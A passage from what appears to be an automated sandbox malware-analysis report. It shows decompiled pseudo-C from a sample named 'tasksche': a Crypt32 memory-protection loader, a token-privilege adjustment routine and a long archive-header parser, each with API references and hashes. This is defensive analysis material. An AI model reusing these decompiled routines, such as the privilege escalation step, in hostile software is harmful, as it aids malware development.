					return _t183;
				} else {
					E0040CFA3( &_v40, 0x20);
					return E0040CFA3( &_v296, 0x100);
				}
			}

0x004106ff
0x0041072b
0x0041073e
0x00410751
0x00410764
0x00410777
0x0041078a
0x0041079d
0x004107b0
0x004107c3
0x004107d6
0x004107e9
0x004107fc
0x00410807
0x00410811
0x00410824
0x00410837
0x0041084a
0x00410853
0x00410859
0x0041085c
0x00410863
0x0041086b
0x00410874
0x00410879
0x00410885
0x00410888
0x0041088e
0x0041088e
0x00410891
0x00410891
0x00410899
0x0041089b
0x0041089e
0x004108a2
0x004108a8
0x004108ae
0x004108b4
0x004108ba
0x004108c0
0x004108c3
0x004108c6
0x004108cb
0x004108d0
0x004108d9
0x004108ec
0x004108f2
0x00410900
0x00410903
0x00410909
0x00410911
0x00410914
0x00410919
0x0041091c
0x00410923
0x00410928
0x00410930
0x00410944
0x00410944
0x00410947
0x0041094d
0x00410950
0x00410953
0x00410956
0x00410956
0x00410961
0x00410966
0x00410970
0x00410978
0x00410983
0x0041098b
0x00410996
0x004109a1
0x004109a7
0x004109aa
0x004109af
0x00410701
0x00410707
0x0041071e
0x0041071e

APIs

__byteswap_ulong.LIBCMT ref: 00410726
__byteswap_ulong.LIBCMT ref: 00410739
__byteswap_ulong.LIBCMT ref: 0041074C
__byteswap_ulong.LIBCMT ref: 0041075F
__byteswap_ulong.LIBCMT ref: 00410772
__byteswap_ulong.LIBCMT ref: 00410785
__byteswap_ulong.LIBCMT ref: 00410798
__byteswap_ulong.LIBCMT ref: 004107AB
__byteswap_ulong.LIBCMT ref: 004107BE
__byteswap_ulong.LIBCMT ref: 004107D1
__byteswap_ulong.LIBCMT ref: 004107E4
__byteswap_ulong.LIBCMT ref: 004107F7
__byteswap_ulong.LIBCMT ref: 0041080C
__byteswap_ulong.LIBCMT ref: 0041081F
__byteswap_ulong.LIBCMT ref: 00410832
__byteswap_ulong.LIBCMT ref: 00410845

Strings

@Z@, xrefs: 00410928, 00410930, 00410944, 00410961

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __byteswap_ulong
String ID: @Z@
API String ID: 2309504477-3109265564
Opcode ID: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction ID: 1dc3a99616fea8f09d0a2898b21a56a39af3494018e3c7a499627515aa5f83aa
Opcode Fuzzy Hash: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction Fuzzy Hash: 869119B1A006148FCB24DF5AC881A9EB7F1FF48308F1445AEE59AE7721D734E9948F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEB6 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CEB6(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t12;

				_t12 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					_t6 = LoadLibraryW(L"Crypt32.dll");
					 *_t12 = _t6;
					if(_t6 != 0) {
						_t12[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t12, "CryptUnprotectMemory");
						_t12[3] = _t6;
					}
					_t12[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x0040ceb7
0x0040cebd
0x0040cec4
0x0040ceca
0x0040cece
0x0040cee6
0x0040cee9
0x0040ceeb
0x0040ceee
0x0040ceef
0x00000000
0x0040ceef
0x0040cef4

APIs

LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

Strings

CryptProtectMemory, xrefs: 0040CED7
CryptUnprotectMemory, xrefs: 0040CEDF
Crypt32.dll, xrefs: 0040CEBF

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2238633743-1753850145
Opcode ID: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction ID: 6e3b8f00ce2f8e0fa430b510b5536735c08c44b91adf59875fbb0715622b898a
Opcode Fuzzy Hash: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction Fuzzy Hash: 7EE092306003119FD7319F79EC44B03BBE89F94B10B14846FE984E3250C6B8D4518B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406553 Relevance: 9.0, APIs: 6, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406553(WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				long _t19;

				_t19 = 0;
				if(OpenProcessToken(GetCurrentProcess(), 0x20,  &_v8) != 0) {
					_v24.PrivilegeCount = 1;
					_v12 = 2;
					if(LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)) != 0 && AdjustTokenPrivileges(_v8, 0,  &_v24, 0, 0, 0) != 0 && GetLastError() == 0) {
						_t19 = 1;
					}
					CloseHandle(_v8);
				}
				return _t19;
			}

0x00406560
0x00406571
0x0040657a
0x00406582
0x00406591
0x004065b2
0x004065b2
0x004065b7
0x004065b7
0x004065c1

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
OpenProcessToken.ADVAPI32(00000000), ref: 00406569
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
GetLastError.KERNEL32 ref: 004065A8
CloseHandle.KERNEL32(?), ref: 004065B7

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction ID: 201d4201c496fcfd48e74424a9b99b2c6b7fcfb09556bcb8571a25bcb240e8ee
Opcode Fuzzy Hash: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction Fuzzy Hash: A0011DB1600209FFDB209FA4DC89EAF7BBCAB04344F401076B902E1255D775CE259A75

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 769
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00401CC1(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t334;
				unsigned int _t340;
				signed int _t344;
				signed int _t345;
				void* _t347;
				signed int _t349;
				char _t369;
				signed short _t376;
				signed int _t382;
				void* _t388;
				signed int _t389;
				signed int _t392;
				void* _t396;
				signed char _t401;
				char _t406;
				signed int _t414;
				char _t415;
				signed int _t418;
				signed int _t419;
				void* _t420;
				void* _t422;
				signed int _t429;
				signed short _t434;
				signed short _t439;
				signed char _t444;
				signed int _t448;
				signed int _t454;
				signed int _t461;
				signed int _t468;
				void* _t469;
				void* _t471;
				short* _t472;
				void* _t481;
				intOrPtr _t488;
				void* _t492;
				signed char _t495;
				signed int _t497;
				void* _t500;
				void* _t503;
				intOrPtr* _t509;
				signed int _t521;
				signed int _t526;
				signed int* _t530;
				unsigned int _t531;
				signed int _t533;
				signed int _t545;
				char _t556;
				char _t557;
				signed int _t559;
				signed int _t560;
				signed int* _t576;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t644;
				signed int _t646;
				signed int _t650;
				signed int _t652;
				void* _t653;
				void* _t656;
				signed int _t659;
				signed int _t660;
				signed int _t662;
				signed int _t665;
				signed int _t666;
				void* _t667;
				signed int _t669;
				signed int _t670;
				signed int _t671;
				unsigned int _t676;
				signed int _t677;
				intOrPtr _t680;
				signed int _t681;
				signed int _t683;
				void* _t685;
				signed int _t694;

				E0041A4DC(E00429562, _t685);
				E0041AAF0(0x2874);
				_push(_t677);
				_t509 = __ecx;
				E0040B736(_t685 - 0x48, __ecx);
				_t650 = 0;
				 *((intOrPtr*)(_t685 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L9:
					 *((char*)(_t685 - 0xe)) = 0;
					L11:
					E0040B4C8(_t685 - 0x48, _t650, 7);
					__eflags =  *((intOrPtr*)(_t685 - 0x34)) - _t650;
					if(__eflags == 0) {
						L5:
						E00401C37(_t509, _t644, _t696);
						L6:
						_t697 =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
						if( *((intOrPtr*)(_t685 - 0x48)) != _t650) {
							_push( *((intOrPtr*)(_t685 - 0x48)));
							E0041A506(_t509, _t650, _t677, _t697);
						}
						_t334 = 0;
						L134:
						 *[fs:0x0] =  *((intOrPtr*)(_t685 - 0xc));
						return _t334;
					}
					 *(_t509 + 0x654c) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x655c) = 0;
					_t677 = E0040B562(_t685 - 0x48) & 0x000000ff;
					_t340 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6554) = _t340;
					 *(_t509 + 0x655c) = _t340 >> 0x0000000e & 0x00000001;
					_t344 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6558) = _t344;
					 *(_t509 + 0x6550) = _t677;
					__eflags = _t344 - 7;
					if(__eflags >= 0) {
						_t677 = _t677 - 0x73;
						__eflags = _t677;
						_t652 = 3;
						if(_t677 == 0) {
							 *(_t509 + 0x6550) = 1;
						} else {
							_t677 = _t677 - 1;
							__eflags = _t677;
							if(_t677 == 0) {
								 *(_t509 + 0x6550) = 2;
							} else {
								_t677 = _t677 - 6;
								__eflags = _t677;
								if(_t677 == 0) {
									 *(_t509 + 0x6550) = _t652;
								} else {
									_t677 = _t677 - 1;
									__eflags = _t677;
									if(_t677 == 0) {
										 *(_t509 + 0x6550) = 5;
									}
								}
							}
						}
						_t521 =  *(_t509 + 0x6550);
						 *(_t509 + 0x6544) = _t521;
						__eflags = _t521 - 0x75;
						if(_t521 != 0x75) {
							__eflags = _t521 - 1;
							if(_t521 != 1) {
								L26:
								_t345 = _t344 + 0xfffffff9;
								__eflags = _t345;
								_push(_t345);
								L27:
								E0040B4C8(_t685 - 0x48, _t652);
								_t347 = E004010D4(_t509,  *(_t509 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								 *((intOrPtr*)(_t509 + 0xb048)) = _t347 +  *((intOrPtr*)(_t509 + 0xb040));
								_t349 =  *(_t509 + 0x6550);
								 *((intOrPtr*)(_t509 + 0xb04c)) = 0;
								__eflags = _t349 - 1;
								if(__eflags == 0) {
									_t653 = _t509 + 0x6570;
									E00409B19(_t653);
									_t526 = 5;
									memcpy(_t653, _t509 + 0x654c, _t526 << 2);
									 *(_t509 + 0x6584) = E0040B57A(_t685 - 0x48);
									_t677 = E0040B5AF(_t685 - 0x48);
									_t530 = _t509 + 0x6578;
									_t531 =  *_t530;
									 *(_t509 + 0xb055) =  *_t530 & 0x00000001;
									 *(_t509 + 0xb054) = _t531 >> 0x00000003 & 0x00000001;
									 *(_t509 + 0xb057) = _t531 >> 0x00000002 & 0x00000001;
									 *(_t509 + 0xb05b) = _t531 >> 0x00000006 & 0x00000001;
									 *(_t509 + 0x6588) = _t677;
									 *(_t509 + 0xb05c) = _t531 >> 0x00000007 & 0x00000001;
									__eflags = _t677;
									if(_t677 != 0) {
										L114:
										_t369 = 1;
										__eflags = 1;
										L115:
										 *((char*)(_t509 + 0xb058)) = _t369;
										 *(_t509 + 0x658c) = _t531 >> 0x00000001 & 0x00000001;
										_t533 = _t531 >> 0x00000004 & 0x00000001;
										__eflags = _t533;
										 *(_t509 + 0xb059) = _t531 >> 0x00000008 & 0x00000001;
										 *(_t509 + 0xb05a) = _t533;
										L116:
										_t650 = 0;
										_t376 = E0040B6E6(_t685 - 0x48, 0);
										__eflags =  *(_t509 + 0x654c) - (_t376 & 0x0000ffff);
										if( *(_t509 + 0x654c) == (_t376 & 0x0000ffff)) {
											L128:
											__eflags =  *((intOrPtr*)(_t509 + 0xb04c)) -  *((intOrPtr*)(_t509 + 0xb044));
											if(__eflags > 0) {
												L131:
												_t680 =  *((intOrPtr*)(_t685 - 0x34));
												__eflags =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
												if(__eflags != 0) {
													_push( *((intOrPtr*)(_t685 - 0x48)));
													E0041A506(_t509, _t650, _t680, __eflags);
												}
												_t334 = _t680;
												goto L134;
											}
											if(__eflags < 0) {
												goto L13;
											}
											__eflags =  *((intOrPtr*)(_t509 + 0xb048)) -  *((intOrPtr*)(_t509 + 0xb040));
											if(__eflags <= 0) {
												goto L13;
											}
											goto L131;
										}
										_t382 =  *(_t509 + 0x6550);
										__eflags = _t382 - 0x79;
										if(_t382 == 0x79) {
											goto L128;
										}
										__eflags = _t382 - 0x76;
										if(_t382 == 0x76) {
											goto L128;
										}
										__eflags = _t382 - 5;
										if(_t382 != 5) {
											L126:
											 *((char*)(_t509 + 0xb064)) = 1;
											E004062BA(0x4335ac, 3);
											__eflags =  *((char*)(_t685 - 0xe));
											if( *((char*)(_t685 - 0xe)) == 0) {
												goto L128;
											}
											E0040639F(4, _t509 + 0x1e, _t509 + 0x1e);
											 *((char*)(_t509 + 0xb065)) = 1;
											goto L6;
										}
										__eflags =  *(_t509 + 0x8906);
										if( *(_t509 + 0x8906) == 0) {
											goto L126;
										}
										E0040117B(_t685 - 0x58, _t644, _t509);
										 *((char*)(_t685 - 4)) = 1;
										_t388 =  *((intOrPtr*)( *_t509 + 0x10))();
										_t681 = 7;
										_t389 = _t388 - _t681;
										__eflags = _t389;
										asm("sbb edx, edi");
										 *((intOrPtr*)( *_t509 + 0xc))(_t389, _t644, 0);
										 *((char*)(_t685 - 0xd)) = 1;
										do {
											_t392 = E00408C2F(_t509);
											__eflags = _t392;
											if(_t392 != 0) {
												 *((char*)(_t685 - 0xd)) = 0;
											}
											_t681 = _t681 - 1;
											__eflags = _t681;
										} while (_t681 != 0);
										 *((char*)(_t685 - 4)) = 0;
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t685 - 0x58)))) + 0xc))( *((intOrPtr*)(_t685 - 0x50)),  *(_t685 - 0x4c), _t650);
										__eflags =  *((char*)(_t685 - 0xd));
										if( *((char*)(_t685 - 0xd)) != 0) {
											goto L128;
										}
										goto L126;
									}
									_t369 = 0;
									__eflags =  *(_t509 + 0x6584);
									if( *(_t509 + 0x6584) == 0) {
										goto L115;
									}
									goto L114;
								}
								if(__eflags <= 0) {
									L110:
									__eflags =  *(_t509 + 0x6554) & 0x00008000;
									if(( *(_t509 + 0x6554) & 0x00008000) != 0) {
										 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) + E0040B5AF(_t685 - 0x48);
										asm("adc dword [ebx+0xb04c], 0x0");
									}
									goto L116;
								}
								__eflags = _t349 - _t652;
								if(_t349 <= _t652) {
									__eflags = _t349 - 2;
									 *((char*)(_t685 - 0xd)) = _t349 == 2;
									__eflags =  *((char*)(_t685 - 0xd));
									_t396 = _t509 + 0x65e8;
									if( *((char*)(_t685 - 0xd)) == 0) {
										_t396 = _t509 + 0x8928;
									}
									_t656 = _t396;
									 *(_t685 - 0x14) = _t396;
									E00409B44(_t656, 0);
									_t545 = 5;
									memcpy(_t656, _t509 + 0x654c, _t545 << 2);
									_t683 =  *(_t685 - 0x14);
									 *(_t683 + 0x1088) =  *(_t683 + 8) & 0x00000001;
									_t401 =  *(_t683 + 8);
									 *(_t683 + 0x1089) = _t401 >> 0x00000001 & 0x00000001;
									 *(_t683 + 0x108b) = _t401 >> 0x00000002 & 0x00000001;
									__eflags =  *((char*)(_t685 - 0xd));
									 *(_t683 + 0x1090) = _t401 >> 0x0000000a & 0x00000001;
									if( *((char*)(_t685 - 0xd)) == 0) {
										L40:
										_t556 = 0;
										__eflags = 0;
										goto L41;
									} else {
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L40;
										}
										_t556 = 1;
										L41:
										__eflags =  *((char*)(_t685 - 0xd));
										_t677 =  *(_t685 - 0x14);
										 *((char*)(_t677 + 0x10e0)) = _t556;
										if( *((char*)(_t685 - 0xd)) != 0) {
											L44:
											_t557 = 0;
											__eflags = 0;
											L45:
											 *((char*)(_t677 + 0x10ea)) = _t557;
											_t559 = _t401 & 0x000000e0;
											__eflags = _t559 - 0xe0;
											_t560 = _t559 & 0xffffff00 | _t559 == 0x000000e0;
											 *(_t677 + 0x10e1) = _t560;
											__eflags = _t560;
											if(_t560 == 0) {
												_t646 = 0x10000 << (_t401 >> 0x00000005 & 0x00000007);
												__eflags = 0x10000;
											} else {
												_t646 = 0;
											}
											 *(_t677 + 0x10e2) = _t401 >> 0x00000003 & 0x00000001;
											 *(_t677 + 0x10e4) = _t646;
											 *(_t677 + 0x10e3) = _t401 >> 0x0000000b & 0x00000001;
											 *((intOrPtr*)(_t677 + 0x14)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x1c) = E0040B5AF(_t685 - 0x48);
											_t406 = E0040B562(_t685 - 0x48);
											_t659 = 2;
											 *((char*)(_t677 + 0x18)) = _t406;
											 *(_t677 + 0x1060) = _t659;
											 *((intOrPtr*)(_t677 + 0x1064)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x20) = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x19) = E0040B562(_t685 - 0x48);
											 *((char*)(_t677 + 0x1a)) = E0040B562(_t685 - 0x48) - 0x30;
											 *(_t685 - 0x14) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
											_t414 = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x108c) =  *(_t677 + 0x108c) & 0x00000000;
											__eflags =  *((char*)(_t677 + 0x108b));
											 *(_t677 + 0x1c) = _t414;
											if( *((char*)(_t677 + 0x108b)) == 0) {
												L57:
												_t644 =  *((intOrPtr*)(_t677 + 0x18));
												 *(_t677 + 0x10ec) = _t659;
												__eflags = _t644 - 3;
												if(_t644 == 3) {
													L61:
													 *(_t677 + 0x10ec) = 1;
													L62:
													_t660 = 0;
													_t576 = _t677 + 0x10f0;
													 *_t576 = 0;
													__eflags = _t644 - 3;
													if(_t644 == 3) {
														_t644 = _t414 & 0x0000f000;
														__eflags = _t644 - 0xa000;
														if(_t644 == 0xa000) {
															 *_t576 = 1;
															__eflags = 0;
															 *((short*)(_t677 + 0x10f4)) = 0;
														}
													}
													__eflags =  *((char*)(_t685 - 0xd));
													if( *((char*)(_t685 - 0xd)) != 0) {
														L68:
														_t415 = 0;
														__eflags = 0;
														goto L69;
													} else {
														__eflags = _t414;
														if(_t414 >= 0) {
															goto L68;
														}
														_t415 = 1;
														L69:
														 *((char*)(_t677 + 0x10e8)) = _t415;
														_t418 =  *(_t677 + 8) >> 0x00000008 & 0x00000001;
														__eflags = _t418;
														 *(_t677 + 0x10e9) = _t418;
														if(_t418 == 0) {
															__eflags =  *(_t685 - 0x1c) - 0xffffffff;
															 *((intOrPtr*)(_t685 - 0x18)) = _t660;
															_t131 =  *(_t685 - 0x1c) == 0xffffffff;
															__eflags = _t131;
															_t419 = _t418 & 0xffffff00 | _t131;
															L75:
															 *(_t677 + 0x108a) = _t419;
															_t420 = E0041ABD0(_t660, 0, 0, 1);
															asm("adc edx, edi");
															 *((intOrPtr*)(_t677 + 0x1048)) = _t420 +  *((intOrPtr*)(_t677 + 0x14));
															 *(_t677 + 0x104c) = _t644;
															_t422 = E0041ABD0( *((intOrPtr*)(_t685 - 0x18)), 0, 0, 1);
															asm("adc edx, ecx");
															 *(_t677 + 0x1050) = _t422 +  *(_t685 - 0x1c);
															 *(_t677 + 0x1054) = _t644;
															__eflags =  *(_t677 + 0x108a);
															if( *(_t677 + 0x108a) != 0) {
																 *(_t677 + 0x1050) = 0x7fffffff;
																 *(_t677 + 0x1054) = 0x7fffffff;
															}
															_t662 = 0x1fff;
															__eflags =  *(_t685 - 0x14) - 0x1fff;
															if( *(_t685 - 0x14) < 0x1fff) {
																_t662 =  *(_t685 - 0x14);
															}
															E0040B696(_t685 - 0x48, _t685 - 0x2880, _t662);
															__eflags =  *((char*)(_t685 - 0xd));
															 *((char*)(_t685 + _t662 - 0x2880)) = 0;
															if( *((char*)(_t685 - 0xd)) == 0) {
																 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																E00411B3C(_t685 - 0x2880, _t677 + 0x20, 0x800);
																_t665 =  *((intOrPtr*)(_t677 + 0xc)) -  *(_t685 - 0x14) - 0x20;
																__eflags =  *(_t677 + 8) & 0x00000400;
																if(( *(_t677 + 8) & 0x00000400) != 0) {
																	_t665 = _t665 - 8;
																	__eflags = _t665;
																}
																__eflags = _t665;
																if(_t665 > 0) {
																	E00401C1D(_t677 + 0x1020, _t665);
																	E0040B696(_t685 - 0x48,  *((intOrPtr*)(_t677 + 0x1020)), _t665);
																	_t461 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), 0x42a494);
																	__eflags = _t461;
																	if(_t461 == 0) {
																		_t644 =  *( *((intOrPtr*)(_t677 + 0x1020)) + 9) & 0x000000ff;
																		 *(_t509 + 0x652c) =  *(_t509 + 0x652c) & 0x00000000;
																		 *((intOrPtr*)(_t509 + 0x6528)) = E0041ABD0((((( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xb) & 0x000000ff) << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xa) & 0x000000ff) << 8) + _t644 << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 8) & 0x000000ff),  *(_t509 + 0x652c), 0x200, 0);
																		 *(_t509 + 0x652c) = _t644;
																		 *((intOrPtr*)(_t685 - 0x28)) =  *((intOrPtr*)( *_t509 + 0x10))();
																		 *(_t685 - 0x24) = _t644;
																		_t468 = E00410B07( *((intOrPtr*)(_t509 + 0x6528)),  *(_t509 + 0x652c), _t467, _t644);
																		 *(_t509 + 0x6530) = _t468;
																		_t670 = _t468;
																		_t469 = E0041AB20( *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24), 0xc8, 0);
																		asm("adc edx, [ebx+0x652c]");
																		_t471 = E00410B07(_t469 +  *((intOrPtr*)(_t509 + 0x6528)), _t644,  *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24));
																		__eflags = _t471 - _t670;
																		if(_t471 > _t670) {
																			_t671 = _t670 + 1;
																			__eflags = _t671;
																			 *(_t509 + 0x6530) = _t671;
																		}
																	}
																}
																_t429 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), "CMT");
																__eflags = _t429;
																if(_t429 == 0) {
																	 *((char*)(_t509 + 0xb056)) = 1;
																}
															} else {
																__eflags =  *(_t677 + 8) & 0x00000200;
																if(( *(_t677 + 8) & 0x00000200) == 0) {
																	_t472 = _t677 + 0x20;
																	_t609 = 0;
																	__eflags = 0;
																	 *((intOrPtr*)(_t685 - 0x18)) = _t472;
																	 *_t472 = 0;
																} else {
																	E0040612E(_t685 - 0x5c);
																	_t481 = E0041AA60(_t685 - 0x2880);
																	 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																	_t609 = _t685 - 0x5c;
																	E0040613F(_t685 - 0x5c, _t685 - 0x2880, _t685 + _t481 + 1 - 0x2880,  *(_t685 - 0x14) - _t481 + 1, _t677 + 0x20, 0x800);
																}
																E00410B32(_t685 - 0x2880, _t685 - 0x880, 0x800);
																E0040A386(_t609, _t685 - 0x880,  *((intOrPtr*)(_t685 - 0x18)),  *((intOrPtr*)(_t685 - 0x18)), 0x800);
																E00401A7E(_t509, _t677);
															}
															__eflags =  *(_t677 + 8) & 0x00000400;
															if(( *(_t677 + 8) & 0x00000400) != 0) {
																E0040B696(_t685 - 0x48, _t677 + 0x1091, 8);
															}
															E00411650( *(_t685 - 0x20));
															__eflags =  *(_t677 + 8) & 0x00001000;
															if(( *(_t677 + 8) & 0x00001000) == 0) {
																L107:
																 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) +  *((intOrPtr*)(_t677 + 0x1048));
																asm("adc [ebx+0xb04c], eax");
																 *(_t685 - 0x24) =  *(_t677 + 0x10e2);
																_t434 = E0040B6E6(_t685 - 0x48,  *(_t685 - 0x24));
																__eflags =  *_t677 - (_t434 & 0x0000ffff);
																if( *_t677 != (_t434 & 0x0000ffff)) {
																	 *((char*)(_t509 + 0xb064)) = 1;
																	E004062BA(0x4335ac, 1);
																	__eflags =  *((char*)(_t685 - 0xe));
																	if( *((char*)(_t685 - 0xe)) == 0) {
																		E0040639F(0x1a, _t509 + 0x1e,  *((intOrPtr*)(_t685 - 0x18)));
																	}
																}
																goto L116;
															} else {
																_t439 = E0040B57A(_t685 - 0x48);
																 *(_t685 - 0x4c) =  *(_t685 - 0x4c) & 0x00000000;
																_t217 = _t685 - 0x14;
																 *_t217 =  *(_t685 - 0x14) & 0x00000000;
																__eflags =  *_t217;
																 *((intOrPtr*)(_t685 - 0x58)) = _t509 + 0x7618;
																 *((intOrPtr*)(_t685 - 0x54)) = _t509 + 0x7620;
																 *((intOrPtr*)(_t685 - 0x50)) = _t509 + 0x7628;
																 *(_t685 - 0x24) = _t439 & 0xffff;
																 *(_t685 - 0x1c) = 0xc;
																do {
																	_t666 =  *(_t685 +  *(_t685 - 0x14) * 4 - 0x58);
																	_t444 =  *(_t685 - 0x24) >>  *(_t685 - 0x1c);
																	 *(_t685 - 0x20) = _t444;
																	__eflags = _t444 & 0x00000008;
																	if((_t444 & 0x00000008) == 0) {
																		goto L106;
																	}
																	__eflags = _t666;
																	if(_t666 == 0) {
																		goto L106;
																	}
																	__eflags =  *(_t685 - 0x14);
																	if( *(_t685 - 0x14) != 0) {
																		E00411650(E0040B5AF(_t685 - 0x48));
																	}
																	E004113F1(_t666, _t685 - 0x80);
																	__eflags =  *(_t685 - 0x20) & 0x00000004;
																	if(( *(_t685 - 0x20) & 0x00000004) != 0) {
																		_t242 = _t685 - 0x6c;
																		 *_t242 =  *(_t685 - 0x6c) + 1;
																		__eflags =  *_t242;
																	}
																	 *(_t685 - 0x68) =  *(_t685 - 0x68) & 0x00000000;
																	_t448 =  *(_t685 - 0x20) & 0x00000003;
																	__eflags = _t448;
																	if(_t448 <= 0) {
																		L105:
																		E00411541( *(_t685 +  *(_t685 - 0x14) * 4 - 0x58), _t685 - 0x80);
																	} else {
																		_t667 = 3;
																		_t669 = _t667 - _t448 << 3;
																		__eflags = _t669;
																		 *(_t685 - 0x20) = _t448;
																		do {
																			_t454 = (E0040B562(_t685 - 0x48) & 0x000000ff) << _t669;
																			_t669 = _t669 + 8;
																			 *(_t685 - 0x68) =  *(_t685 - 0x68) | _t454;
																			_t251 = _t685 - 0x20;
																			 *_t251 =  *(_t685 - 0x20) - 1;
																			__eflags =  *_t251;
																		} while ( *_t251 != 0);
																		goto L105;
																	}
																	L106:
																	 *(_t685 - 0x1c) =  *(_t685 - 0x1c) - 4;
																	 *(_t685 - 0x14) =  *(_t685 - 0x14) + 1;
																	__eflags =  *(_t685 - 0x1c) - 0xfffffffc;
